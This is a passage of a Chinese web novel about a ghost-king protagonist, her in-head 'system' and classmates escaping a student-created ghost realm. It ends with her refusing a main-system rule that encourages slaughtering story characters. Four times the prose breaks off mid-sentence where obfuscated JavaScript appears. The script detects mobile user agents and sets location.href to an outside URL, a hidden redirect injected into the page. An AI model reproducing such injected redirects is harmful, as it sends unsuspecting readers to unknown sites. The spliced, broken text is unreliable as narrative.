天地归于平静之后,闵朝言也睁开眼,她一直默默凝视着璀璨残夜消失,她站在正厅中,身上已经穿上了一身红色喜服。 这场景很熟悉, 是闵朝言几人跌入环境之前的喜堂,只是还没有陈旧风华。 目之所及,尽是一片红色,红灯笼,红色的双喜字,还有人的断肢渗出的血液。 “殿下,礼成了。” 一身红衣的顾长公子站在她身边,伸出手去握她的手。 触手一片冰冷,闵朝言下意识甩开,对方也不恼,微笑着收回手。 “我都忘了,您现在不喜欢这个温度。” 他很温和地说。 “我讨厌打哑谜的人。” 闵朝言看着眼前的人,缓缓皱起眉。 “顾羽呢?” …… 似乎没有意料到她会问出这个问题,长公子的脸上露出一种奇异的惊讶来,他怔怔看着闵朝言,良久,才笑出声来: “顾羽呢?您居然也会说这种话,和我想象中的……真是不同啊。” 躲在柱子后面,麓雪咬着自己的指关节,心跳声如擂鼓狂奔。 为什么还不动手? 不是每次都这个时候动手的吗? 快、快! 快啊!动手!杀了她!!! 马上了,马上就可以出去了! 她要回家,她要离开这里! “杀了她,为什么你还不杀了她!为什么为什么为什么!!” 她嘶吼着从隐蔽处冲出,长剑挥舞着斩向闵朝言。 她的剑术其实并不好,没有任何章法,全然凭着一种极度的疯狂力量,驱使着肌肉骨骼挥舞,闵朝言只一侧身,就躲过了这一击。 嗯? 为什么NPC突然发疯了? 闵朝言有些不解。 “不对!你杀了她也没有用!” 越珑冲了出来,挡在闵朝言身前,气喘吁吁,显然是一路猛冲回来的。 “不对,剧情就是这样的!她就是要在这里死掉!我就是这么写的!!!” 麓雪声嘶力竭地吼叫着,喉咙暴起青筋, “快死,你们都快死啊!我要走,我要离开这里!!!” 这么写的? 越珑的神情有一瞬的疑惑。 “写的?” 她又重复了一遍。 “写的!我写的!!我记得!!!” 麓雪脸上血痕混合着泪痕,她依然紧紧握着自己手中的剑,用这份力量勉强支撑着身体, “我写的,我记得的,我写的……” 怎么回事, 鬼域主人的执念还有个原作者? 闵朝言显然也意识到了其中的古怪之处, 一般来说,鬼域主人的执念幻境,都是建立在其亲身经历过,且在死后依然无法放下的遗憾悔恨记忆。 记忆,怎么会有作者呢? 只有故事才会有作者。 “你是说,这一切都是一个故事?但故事怎么会有这样的能量……” 越珑在惊讶中生出许多疑惑来,皱起眉。 “有人相信它,它就不仅仅是故事了呀。” 一个带着笑意的声音响起,这声音自虚空中发出,没有来处,飘渺逸散。 那声音轻柔悠扬,带着一种蜜熟的甜润,音调宛转,却没有半分真实的温度。 「啧,工业糖浆嗓。」 系统吐槽了一句。 它意外地非常擅长骂人。 “你就是鬼域主人。” 越珑的神色严肃。 “我其实不算呢,只是一个小小的赞助商吧。” 那声音笑着回答,柔软而甜蜜, “我只是很想见见一个特别的存在,现在见到了,就很高兴了。” “您喜欢这个小游戏吗?” 在祂的笑声中,闵朝言感到手背一点阴冷。 越珑不做声,只是默默攥紧了自己的钢笔,额间有一点冷汗落下。 很强大,即使没有露面,没有展现任何力量,也依然不容置疑的强大气息, 这个存在,至少是个鬼将级别。 想到这个可能,越珑的心紧绷起来。 “別害怕,你们会完整回去的,毕竟,那个孩子的执念,已经化解了呀。” 祂看出了越珑的戒备,如同安抚不安的孩子一般,柔声说着。 「系统,这个是谁?」 闵朝言皱起眉。 「这个是中期才应该出现的boss,鬼将·瞬嵐。」 系统回答,有些不安, 「现在的主角根本打不过祂啊!」 在这个副本的世界观里,鬼域主人中的等级,被粗暴地分为三类:鬼域主人、鬼将、鬼王。 一般来说,人死后的灵魂会自然散去,只有因为执念、仇恨等原因无法自然散去的灵魂才会继续残余在现实。 这些无法散去的灵魂,就是鬼。 大部份鬼无法对现世造成影响,只有其中比较强大的一批,才能勉强做到让空调失灵,风扇无风自动这样的小事故。 以上等级的鬼,统称为游魂,不必出手干涉,会随着时间自然散去或者湮灭。 因为, 成为鬼之后,生前的记忆会慢慢被遗忘,当记忆被全部遗忘之后,执念自然也就消失了。 但还有一小批鬼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521717|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们失去了记忆,却依然记得执念, 随着对执念的执着日益加重,他们的力量会越发强大,直到可以构建出自己的小小鬼域,并将人类拉入其中。 到了这个时候,捉鬼人就登场了。 拥有鬼域的鬼,都会被称为鬼域主人,但只有杀死百人以上的,才会被称为“鬼将”。 至于鬼王,那就是另一个概念的生物了。 在原剧情中,此刻的所有鬼将都依然在被封印,根本不可能进入其他鬼域。更何况是一个在原文中甚至没有出现过的鬼域。 这个鬼将,是为谁而来? 天才捉鬼人越珑, 还是, 新诞生的鬼王,闵朝言? 闵朝言皱起眉,却只见一直笼罩在麓雪眼前的黑雾忽然凝实,向她身前飞来,打了一个圈儿之后,又落在她的掌心里,圈住小指,仿佛乖巧的小蛇。 “为什么,为什么没有结束,为什么不一样了?” 麓雪看着眼前的一切,定定看着闵朝言,一遍又一遍地重复着这个问题。 “为什么不一样了?” “是不是因为你不一样了?” “是谁不一样了,是谁不一样了?!” 闵朝言看着麓雪,很专注, 她的眼中没有惊讶也没有鄙夷,此刻满溢着纯然的好奇。 闵朝言也想问为什么。 为什么有些人总是有那么多的情绪和感受,她们是怎么精准捕捉到又表达出来这些情绪的? 又哭又笑的, 好神奇。 “你觉得我死了,你就能回家了?” 她问。 在闵朝言的目光下,麓雪的崩溃喊叫也渐渐停下,仿佛一个无措的孩子般点头: “我,我进来的时候,那个声音告诉我的……只要替她受苦一百次,我就可以回去了。” 闵朝言听完了,很平静地问: “如果它骗你呢。” 麓雪呆住了,似乎不敢去想这个话题,抱住脑袋,不再说话了。 “而且,如果之前‘我’一直都是死了的,你这算什么替我受苦?” 闵朝言继续问。 “可是,可是之前我都一起死了呀!” 麓雪连忙辩解, “我们每次都是一次死的!” “那也只能算‘和我受苦’吧。” 闵朝言说。 “可是,可是,可是……那我之前的一百次,难道白死了吗?” 麓雪看着闵朝言,像个孩子一样,无助地流下泪水。 “不,你帮我们排除了一个错误答案。” 越珑摇头,蹲下,看着麓雪: “现在我们一起死不是离开的方法了。” “你们也是外面进来的人,你们,人类,是人类吗?” 麓雪喃喃问着,她似乎已经不太会说话了,语序错乱,颠三倒四, “嗯。” 越珑点头。 “我们是人类,会带你一起出去。” 尽管一直逃避着这份工作,但越珑的本质果然还是一个尽职的捉鬼人。 闵朝言看了她一眼,心想着。 “那,那我们怎么出去?” 麓雪很小声地问,像是怕被人听见。 …… 周围一片寂静,没有回答她。 麓雪绝望地闭上眼睛,还没等眼泪滑落,却听见一个声音说: “我们出来了?!怎么出来的?!” 响亮,急促,嗓音爽朗,此刻却带着惊疑不定和后怕: “朝、言,你没事吧?” 闵朝言站在校园的草地上,还没反应过来自己已经突然回到了现实中,就被紧紧拥入一个怀抱, 温暖,炽热,仿佛生命力正不断涌流着的怀抱。 “我好想你。” 顾羽说着,抱紧了她。 闵朝言没有表情, 也没有推开。 35. 校园鬼域(14) “我们,真的出来了?” 一个颤抖的声音响起,是麓雪,她此刻穿着一身高中生制服,脸上是泪水与血痕交错,神情恍惚,视线颤抖着,看向四周,仿佛不敢置信又恐惧打破这一刻的幻觉: “真的,出来了吗?” 她们离开了鬼域, 可是,怎么离开的? 就连越珑自己的也搞不清了,说句实话,她甚至到了最后,也没有明白这个鬼域到底是怎么形成的。 “你刚才说,那里面的剧情都是你写出来的,这是什么意思?” 越珑在麓雪身边蹲下,看着她被冷汗浸透的衣服,将自己的外套脱下来给她披上。 “我,我……” 麓雪似乎有些犹豫,她的手指攥紧了越珑的外套,骨节泛出青白的颜色,唇瓣颤抖着,深深低下头去。 “我其实,只是想写一个故事……” 高中生活实在太过枯燥,尤其对于一向阴沉落在角落里的麓雪来说,她讨厌被注视,又讨厌被忽视。 某天,看着教室外嬉笑打闹的同学们,麓雪拿起了笔,她开始描绘自己的世界,一个她无处不在,无所不能的世界。 在那个世界里,她创造了一个公主,故事的中心,世界的主角,拥有着最强大的权力,和无比光辉的未来。 但这个公主,并不是麓雪自己的化身,她是另一个人,一个完美的,不存在的,永远不会令她失望,不会注视她也不会忽视她的人。 可是这样的人,真的存在吗? 越是描绘公主的故事,麓雪越是感到痛苦;越是渴望这样的存在,麓雪越是感到这种渴望的虚无。 最终,这种虚无压垮了麓雪, 她杀死了公主。 是的,在故事的最后,即将逼宫登基,获得一切的公主,被前文中一直深爱追随她的驸马杀死了,她的血液涌动着,将所有的一切埋葬。 一同浸染纸张的,还有麓雪的眼泪。 “我好后悔,我哭了好多天,我天天在梦里看见她,我恨不得替她去死! 可是,当我想要改变故事的时候,就被抓进了那个可怕的地方,我看到了她……但她果然是不存在的,是空白的。” 麓雪的声音低下去,在啜泣中恍惚。 那个永远倨傲,永远高高在上,永远无往不利的公主,太过完美,于是变得虚无。 麓雪扮演着公主的侍女,一遍遍陪同着她空白的幻想死去。 “一开始,我以为那是个噩梦,可是我一直没有醒过来,后来,我以为自己已经死了,这是用来折磨我的地狱。” 麓雪的声音断断续续,仿佛她此刻游离破碎的思绪。 “第一百次的时候,我看到了你,我以为是我的死起作用了,你终于‘活’过来了,你不再是一片空白了,我终于看到你了,真正的你……” 麓雪的视线落在闵朝言身上,她伸出手想要碰闵朝言的脸,又恐惧着她不是真实存在的,胆怯地收回了手。 “后来,后来你们就都知道了。” 她小声说着,视线久久没有离开闵朝言。 闵朝言也看着她,有些疑惑。 又来了,这种分析不清楚也没办法用逻辑理顺的情感。 闵朝言不适应这种东西,目前人类的情绪里,她比较良好接受的只有欲望,毕竟这是自然的生理唤起反应。 “我知道了。” 越珑听完了整个故事,拍了拍麓雪的肩膀,像是在安慰她, “你现在已经出来了。” 麓雪点点头,苍白的手指攥紧了衣角,她又一次想要藏起来了。 “你这个制服是十五中的吧。” 顾羽突然出声。 “啊?啊,是的……” 麓雪点点头。 几人进入鬼域时,还是阳光明媚的下午,如今出来就已经是夜晚了, 显然,即使身处鬼域,外面的时间也依然会流动。 “十五中校服前年就改版了,你这个是旧版校服。你到底在那个鬼地方呆了多久?” 顾羽皱着眉问。 “我也不记得了,可能,已经很久了吧……” 麓雪再次深深低下头。 半小时后,麓雪被护送上救护车,她的双亲一路狂奔而来,两个年过半百的人都长满白发,此刻搂着失踪五年的女儿又哭又笑。 “你这个死孩子!你到底去哪儿!?你怎么能什么也不告诉我们呢!?” 麓母紧紧抱着麓雪,哭骂着,手不住去摸女儿骨节突出的青白双手: “你没钱花,不知道回家里偷点吗?!我把钱都放在鞋柜里了,你知道的藏钱地方,我都放了,你怎么不知道回来拿呢……” 麓雪没有说话,只是将头靠在母亲肩膀上,她的视线遥遥越过人群,看着闵朝言,在一片吵闹中,她缓缓露出一点笑容。 她看到了, 她的公主。 “鬼域的主人是麓雪。” 越珑的声音在闵朝言身侧响起, “她的执念是见到她的公主,可那个公主是不存在的,所以她才一直把自己困在里面。” “你出现了,她看到了‘公主’,执念也就化解了。” 越珑感慨着,看向救护车离开的方向。 “但她是活人。” 闵朝言不解, “只有鬼才能创造鬼域吧?” 怎么回事,副本世界观都变了? 鬼域要变成什么阴湿人必备的时尚单品了吗? 鬼王闵朝言对此感到了一点资产降级的不满。 “所以她才会被自己的鬼域困住,她本来没有力量构建鬼域的,但是别的东西,借给了她这个力量。” 越珑的脸色沉下来, “我得查清楚。” [叮——] [主角崩坏值:99-10] 减这么多? 闵朝言有点惊讶。 「毕竟她没有品性败坏,只是不想当捉鬼人了而已。这个世界濒临末日,是因为主角金手指打大了,让越珑成为了唯一一个能够封印鬼王的人。」 系统冒头解释。 「她不当捉鬼人,就没人能封印鬼王,所以世界就要毁灭啦!她现在开始调查鬼域相关的事情,算是干了一点捉鬼人的工作吧。崩坏值就降得很明显。」 “不过,在这之前,她怎么办?” 闵朝言指了指躺在不远处的木灼青。 木灼青长得瘦小,又穿着一身浅绿色裙子,在昏暗夜色下,倒真是不容易被发现。 看到木灼青,越珑的脚步一顿,她似乎依然不知道该如何面对对方,即使在她的认知里,木灼青现在已经死了。 又或许是因为死了才无法面对? 闵朝言分不清这两种情绪的区别。 “麓雪在幻境里死了很多次,她现在也活着。” 闵朝言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526091|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 听到这句话,越珑猛地转头看向闵朝言。 “但以前的鬼域……” 她喃喃道。 是的,在以前的鬼域,死了就是死了。 但以前的鬼域主人还都是鬼,这不就出了一个活人创造的鬼域? 越珑转身,快步奔向木灼青,在对方身边蹲下。 木灼青依然闭着眼睛,唇色苍白,肌肤发冷, 但她的胸膛正在极轻微地起伏,呼吸声很轻很轻。 她没有死。 越珑的大脑一瞬间被灌满了浆糊,她什么别的也想不到了。 她没有死, 自己没有杀死她。 没有, 没有再…… 越珑红着眼睛,紧紧抱住木灼青,她的眼泪再一次落下,这一次,终于不是因为悔恨。 “朝言,” 身后,顾羽拥住闵朝言,他的下巴搁在闵朝言肩膀上,并不硌人,只是随着他的话语,引起一点又一点的痒。 “嗯?” 闵朝言应了一声。 “对不起,我在那个幻境里,替你决定了事情。” 顾羽的声音很轻, “那个长公子告诉我,如果我替你死了,你就能离开了,我相信他了。” …… 闵朝言沉默了两秒,开口: “一般来说,自我牺牲,好像不是需要道歉的事。” 闵朝言才刚刚理解这类型的情感逻辑, 但顾羽好像又成了一个反例。 “我知道,但是我也不知道为什么,总觉得需要和你道歉,自以为是的牺牲,应该是很烦的吧。” 顾羽说着,笑了一声, “可能我牺牲,也不仅仅是为了你。” “嗯?” 闵朝言疑惑。 “我第一次喜欢一个人,我想轰轰烈烈地喜欢,喜欢很久,爱很久,可是我不知道自己会不会变,我想要永远爱你。” 顾羽笑着说,和闵朝言十指交扣,声音里带着期待: “如果我死了,就一定不会变了,我会永远爱你,永远喜欢你。这其实也是一种自私吧。” …… 闵朝言没想过有人能在三分钟里让她无言以对两次。 「我靠,原剧情里可没说这小子是个病娇啊?他有病啊,不变心的方法是自杀是吧。」 系统冷哼一声,它似乎相当唾弃这种放弃生命的行为。 「有的活就要活啊!拼尽全力不择手段也要活下去!闵朝言你不许被他影响,你喜欢谁了你也得好好活着知道吗!永远以自己的生命为先知道吗!」 系统忿忿。 「你怎么不说话?回答我!」 系统大喊。 ‘……好,我答应你。’ 闵朝言小小翻了个白眼,答应下来。 得到承诺之后,系统满意地哼哼了两声。 「这才对嘛!你等下,我给你做积分结算,这些剧情点还挺多的,自动系统那边有点卡住了。」 系统的声音消失了,闵朝言的注意力重新回到顾羽的体温上。 “但是我们都活下来了,我又很开心。” 顾羽闭上眼,紧紧抱住她。 “顾羽,我不喜欢你。” 闵朝言突然出声, 她很平静地说,神色没有一点波动。 “即使这样,你还愿意为我去死吗?” 36. 校园鬼域(15) 社团日活动从早上八点钟开始, 就在宿舍楼底下。 从早上六点钟就被搭设舞台声音吵醒的闵朝言睁开眼,定定看着楼下一个个走来走去的人。 从八楼看过去,每个人都像一只小蚂蚁,蚂蚁们将舞台一点点搭建起来,简直像个儿童动画片。 闵朝言面无表情地看着其中一个颜色格外突出的蚂蚁。 顾羽今天穿了一身明黄色外套,他个子高,皮肤也够白,把这样容易显得艳俗的颜色也衬出一股朝气蓬勃来。 他的人缘应该很好,身边总是来来去去有人停留,谁路过都会和他打一声招呼,他也回以爽朗的笑容。 简直是教科书一般的阳光健气男大, 完全看不出来昨天晚上,这个人曾经紧紧抱着闵朝言,说出痴缠与迷恋混杂的扭曲爱语: “那就去死啊,你想要的事情,我都会去做的。” 闵朝言不记得自己怎么回答的。 她似乎根本就没有回答,这是闵朝言无法理清的东西,就像她甚至不知道自己为什么会问出那种只有烂俗言情小说里才会出现的问题。 “唔……你醒了?” 越珑带着一头杂草一样的头发坐起来,打了一个大大的哈欠,还在努力和睡意搏斗。 “嗯。” 闵朝言说。 “那,来吃早餐吧?” 一个怯懦却雀跃的声音响起。 闵朝言顺着那声音的方向看过去,木灼青正坐在桌边,将最后一份早餐放好。 寝室中心有一张公用的书桌,一直空置着,此刻摆满了至少五人份的早餐: 卷饼煎饼手抓饼,包子油条小米粥,贝果汉堡三明治,薯条热狗鸡米花……连喝的都囊括了东西南北中,从咖啡到豆浆,甚至还有豆汁! 她是去把学校里的所有早餐店都扫荡了一遍吗? 闵朝言想。 “灼青。” 越珑笑着和木灼青打招呼,声音哑得像只鸭子。 昨天晚上越珑抱着木灼青嚎了半个小时,声音堪比狂鸭砍树,硬生生把昏迷状态的木灼青给嚎醒了。 但这居然不是终点。 木灼青醒过来发现越珑抱着自己,也瞬间泪崩,两个人抱在一起嚎啕大哭。 闵朝言不知道她们什么时候结束的,她被吵得受不了,按捺住把这两人锤晕的冲动,转头自己回了寝室。 作为鬼王,闵朝言其实并不需要吃饭,但碍于伪装状态,还是吃了一口包子,喝了一点豆浆。 即使在现实世界中,闵朝言也并不常进食,她更习惯于直接通过游戏舱注入营养液的生存营养获取方式。 可能她的胃部早就萎缩了也说不定。 在越珑风卷残云的进食背景音中,闵朝言漫无边际地想。 “你吃饱了?会不会不够呀。” 木灼青坐在闵朝言身边,小声问: “是我选的不好吃吗?” “其实我尝不出来。” 闵朝言回答。 大部分时候,闵朝言是一个很诚实的人,因为编织谎言总是需要费力气的, 她懒得很。 “你是不是有点厌食啊?” 越珑一口吃掉了有半个手掌大小的包子,脸颊鼓鼓地说, “我这两天一共看到你吃过这一次东西,还没有鹦鹉吃得多。” “我觉得进食的效率很低。” 闵朝言回答。 “你这个思想可不对,吃饭不仅仅是为了活着,而是!人活着,就是为了吃饭!” 越珑义正严辞,如同宣誓一般说着,将最后一口豆浆咽下去。 五人份的早餐,闵朝言吃了一只鹦鹉的量,木灼青吃了一个正常人的量,剩下的,全进了越珑的肚子里, 不到十分钟。 闵朝言开始怀疑越珑也不是人类了。 这不合理吧? “今天是社团日了,我们社团还差最后一个成员,一定要在今天抓一个人进来!” 越珑重新恢复了斗志,她手握成拳,非常认真地说: “这个任务,就交给你们了。” 越·鸭子嗓·珑露出坚毅的目光。 “保证完成任务,不辜负组织期待。” 木灼青柔柔笑着,对着越珑敬礼,非常配合她的玩闹。 然后,两双眼睛齐齐看向闵朝言。 “……好。” 闵朝言点了点头。 人类的情绪怎么能换得这么快?昨晚不是还一个惊险生还一个悲痛欲绝吗? 她觉得真的很难理解。 社团日会场, 三人带着印有越珑抽象漫画的传单去找自己被分配的摊位,按着数字走,走着走着,都疑惑地停下脚步。 “是这里吗?” 木灼青小声问。 “表格上说的就是c92,但是这也太……” 越珑也疑惑了。 在一众蓝色帐篷搭起来的简单摊位里,这个位置简直显得突兀: 帐篷还是帐篷,上面却立了一个高高的牌子,写着“自由漫画社”几个大字,两边是一排花门,从牌子两侧一路向下蔓延,一片盛放的玫瑰中点缀着小雏菊。 这到底是社团招募还是求婚现场啊? 顶着往来学生200%的回头率,越珑试探着向摊位里面看去,发现那里已经有一个人早等待了。 那人一身明黄色外套,正在捣鼓着,试图在帐篷里挂上一串水晶风铃。 是顾羽。 “你们来了?” 他安好了风铃,走上前动作自然地牵住闵朝言的手,拉着她坐下,然后接过传单在桌子上摆好。 “我看你们没有装饰,时间比较紧,我就做了一点小东西。” 他说。 越珑沉默了。 她这是自由漫画社,又不是什么洛丽塔经典茶会! “你喜欢这个风格?” 越珑转头看向闵朝言,努力深呼吸。 没关系,如果这是闵朝言喜欢的风格,那就用这个风格,也没什么不好的! “还好吧。” 闵朝言回答。 她其实不喜欢这个风格,或者说她根本就没有喜欢的风格。 但她有种预感,如果现在不说喜欢的话,越珑会冲上去把顾羽直接活撕了。 “挺、挺好看的!” 木灼青一边点头,一边小心翼翼地把自己塞到角落里,想了想,递给顾羽一张入社申请表: “你,要不要也填了?” 总感觉现在要做点什么救一下这个男的, 木灼青有点纠结地想。 万一闵朝言喜欢这个男的,万一越珑把人打了,她们不会闹矛盾吧? 木灼青很不想看见这个画面,她活到现在只有越珑一个朋友,她很期待闵朝言可以成为自己的第二个朋友。 “啊,对,我们四个人,还差一个呢。” 顾羽看了一圈,问闵朝言: “要不我把我舍友拉进来吧?” 他说着,接过入社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530987|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 申请表,在上面龙飞凤舞地签上自己的名字。 [检测到剧情节点已完成!] [检测到剧情节点已完成!] [检测到剧情节点已完成!] …… [积分结算:+300] 相同的提示音一共响了六遍,闵朝言心里生出一股一键静音的冲动,只能不断告诉自己:这都是积分,都是积分! [检测到副本完成度提高!] [补全内容:鬼域·麓雪;鬼将·瞬嵐;学校校规·礼堂] [奖励已下发] [恭喜任务者获得:道具·坠亡者之牌(碎片1)] [当任务者集齐所有钥匙碎片时,即可开启该卡牌。] 听着系统播报音, 闵朝言愣了一下。 这个副本居然还可以补全? 坠亡者之牌又是什么?听上去和她的“溺亡者”有点相似之处。 以碎片形式发放的道具,一般都十分强大。 闵朝言用了快一年的时间才集齐了“溺亡者”的碎片,合成了自己的武器。 「哇,你触发了补全任务!」 系统惊讶。 ‘这个任务很少见?’ 闵朝言说。 「当然了,补全任务很难遇见的,毕竟一般的任务者光是降低崩坏值就已经筋疲力尽了,哪里会有力气去探索副本啊。」 系统回答。 ‘一般任务者?’ 闵朝言问。 「对啊,你不知道吗?哦,我好像是没告诉你。全星际大概有七千亿玩家吧,大概十亿分之一的玩家会通过神骸领域筛选,成为任务者,去完成一些任务。」 「以前的任务各种各样,但现在因为多个副本陷入了崩坏危机,所有任务者统一转为了稳定副本,降低崩坏值。」 系统回答。 「不过他们都没有我这样专门为了降低崩坏而研发的系统!其他系统也都没有你这样的任务者!」 它说着有点得意,总结道: 「我们还是很有缘分的!」 闵朝言不觉得它遇到自己是什么幸运的缘分,但她没有直说,只是点头: “所以,陷入崩坏危机的副本很多?” 刚刚绑定的时候,系统还在说,只有几个副本面临崩坏,但是能让七十个任务者全部上阵,证明副本崩坏蔓延的速度非常之快。 「嗯,越来越多了。」 系统回答。 「崩坏在飞速蔓延,大家都不知道是为了什么,主系统好像知道,但是它不肯说,只是放开了一个限制,要是早点在上一个副本放开就好了,我们的任务就轻松多了。」 ‘什么限制?’ 闵朝言问。 系统的回答延迟了两秒钟,再开口时,已经是冰冷无机质的金属音: [如果副本的崩坏已经无法阻止,任务者可以杀死所有带有崩坏值的角色,系统将自动判定所有情节点已完成,积分照常发放] [包括副本主角」 闵朝言发传单的动作顿住。 “朝言?怎么了?” 站在不远处的越珑看过来,眼中带着关切。 闵朝言看着越珑,脑海中却只有一句话: 杀了她,这是最简单的方法, 杀了她,我就可以得到我想要的一切。 系统说错了一个词,主系统作出的这个改变,不是放开,是鼓励。 祂在鼓励所有任务者, 直接屠杀副本。 37. 校园鬼域(16) “朝言?怎么了?是不是太累了?” 越珑走过上前,用她那副鸭子嗓关切闵朝言,上手想去摸对方额头的温度。 真是的,刚从鬼域出来就让人家发传单,太不体贴了! 越珑在心中暗暗责怪自己。 她是一个精力极其充沛的人,木灼青看着文文弱弱的,但其实跟在她身后跑了这么多年,体力也早就远胜常人,因而,她总是忘记其他人会累,会疲惫。 “不。” 闵朝言后退一步,躲开越珑的手,一贯平静到近乎空白的神色,此刻居然显出一点惊惧来。 “我先回去了。” 她转过身,快步离开了场地。 “朝言?” 顾羽站在不远处,看见闵朝言的动作,马上就像跟上去,却被默默站到了他身前的木灼青拦住了。 “她可能,想自己静静。” 木灼青的声音细细小小的,脚步却像镶在了原地一样, “别去打扰她了吧?” 这人果然和他猜的一样,看上去弱生弱气,其实倔得很! 顾羽气得牙痒痒,甚至不顾上维持友善开朗的人设,狠狠拿起传单,开始往每个路过的人手里怼。 他心情不爽,就让大家一起看看精神污染漫画吧! 发了没两张,他又转头看着闵朝言离开的方向,眸色渐深。 他不至于真的被木灼青拦住,大不了他拔腿开跑,木灼青肯定是跑不过他的。 他不上前,是因为知道木灼青说的是对的。 顾羽知道,自己并不能解决闵朝言的问题,不管他上前的目的是宽慰还是安抚,都不会有任何效果。 因为闵朝言并不喜欢他,他的存在也不会让她快乐起来。 她真的知道快乐是什么感觉吗? 无关身体欢愉的快乐,不需要用缠绵厮磨唤起的快乐, 仅仅是因为看到一个人,就会从心底涌出的快乐, 这种感受,她会有吗? 顾羽深深叹了口气,低头看着传单上的画面,连那抽象的画面在他眼中都模糊了,只剩下一堆聚集在一起的线条,像色彩在纸上厮杀。 跑,一路跑,闵朝言一直到再也听不见人的声音,才终于停下脚步。 「你怎么了?难受了?要化尸了?」 系统焦急地问。 闵朝言没有回答,她只是摇头。 她明明不需要呼吸,可此刻胸口却在剧烈的起伏, 就像那颗原本只是用来装饰的心脏,正在不规律地急促跳动。 「发生什么了?刚才主系统接管了我,祂和你说什么了?」 系统问。 ‘新规则。’ 闵朝言回答。 「啊,对,新规则!新规则是什么啊?我们这边看不到,这个是主系统直接传达给任务者的。」 系统说着,忽然大惊: 「该不是报废系统要用的积分打折了吧?!」 闵朝言没有回答。 她知道,系统这幅大惊失色的样子只是为了活跃气氛,它知道闵朝言喜欢看它一惊一乍的蠢样子,它希望闵朝言的心情好一点。 ‘你不知道新规则?’ 她问。 「……我知道的,这种事情系统要是不知道,怎么配合任务者呢。」 系统沉默了半响,回答。 ‘你说,如果在上一个副本放开,我们的任务就轻松多了,指的是什么。’ 闵朝言问。 「如果在上一个副本放开,我们就直接把予烬杀了,万事大吉了。」 系统回答。 ‘这个副本已经放开了,也不影响。’ 闵朝言说。 是啊,在这个副本里也不影响什么啊, 只要杀了越珑,一切不都也结束了吗? 「但你现在还是幼年期鬼王呢,要杀越珑很难的,你别把自己搭上了啊。」 系统犹犹豫豫地劝说。 ‘越珑现在很信任我,我们是室友,我可以偷袭,用[溺亡者],她毕竟还是人类。’ 闵朝言的声音再次平静下来。 「但是,但是……」 系统卡壳了。 ‘你不希望我杀她。’ 闵朝言说。 系统没有回答,这像是羞愧,又像是默认。 「对不起。」 良久,系统支支吾吾憋出来一句道歉。 「我知道,系统的使命就是完成辅助任务者,完成主系统下发的任务,但是怎么说呢?杀予烬,我觉得没什么,毕竟他是个疯子,还想袭击你,我们也算是正当防卫。但是,但是越珑……她是个很好的人啊。」 是啊,越珑是一个很好的人。 她友善,开朗,有责任心,愿意交付信任,愿意冒险去保护和帮助他人。 她…… ‘不用道歉。’ 闵朝言说。 「为什么不道歉,这明明是我的问题。」 系统失落地说。 ‘因为我也不想杀她。’ 闵朝言回答。 在越珑关切地望过来时,闵朝言脑子里只有一个声音: 杀了她,杀了她一切就结束了; 杀了她,杀了她,自己的任务就完成了; 杀了她,也许……精灵就可以回来了。 可是闵朝言的手动不了。 不是因为这里是人群,也不是因为善后麻烦——杀了越珑,副本整个将直接被摧毁,根本没有善后可言。 闵朝言在游戏中杀了很多玩家,但那是游戏,游戏里的死亡是一种扮演,一种趣味,不管效果再逼真再骇人,角色之下的玩家只会掀开游戏舱然后怒骂闵朝言。 但在副本中,如果越珑死了,她就真的不会再存在,不会掀开游戏舱骂人,也不会在玩家论坛发帖讨伐闵朝言。 她会,真的消失,不再存在; 像精灵一样。 闵朝言从来不知道自己居然还是敬畏生命的人, 直到这一刻之前,她对“生命”甚至都没有概念。 闵朝言依然不清楚情感是什么,但她很聪明,如果一件事,利益远远大于害处,可行性远远大于不可控, 她却依然无法出手杀死越珑, 那么在这一刻,主导她行为的就一定不是清楚分明的逻辑和计算, 是莫名其妙,不知从何而生,不知在何时壮大的, 情绪。 就像她允许越珑拥抱她的瞬间, 就像她没有推开顾羽拥抱的瞬间, 就像她下意识安抚系统,说她们是同伴的瞬间。 这些瞬间,都被名为“情绪”的东西主导着。 闵朝言一直假装自己看不见,看不懂,她一直以为自己只是好奇其他人的反应,其他人的情绪。 她一直假装自己不知道,她身上也有着这些模糊,凌乱,无序,无法被分析和计算的部分。 ‘我不想杀死越珑,也不想杀死顾羽。’ 她轻声说着,一字一顿,仿佛刚刚学会说话的孩子, ‘我不想让鹤棠留在那个副本里,不想……不想这一切都崩塌。’ 她抬起头看着天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 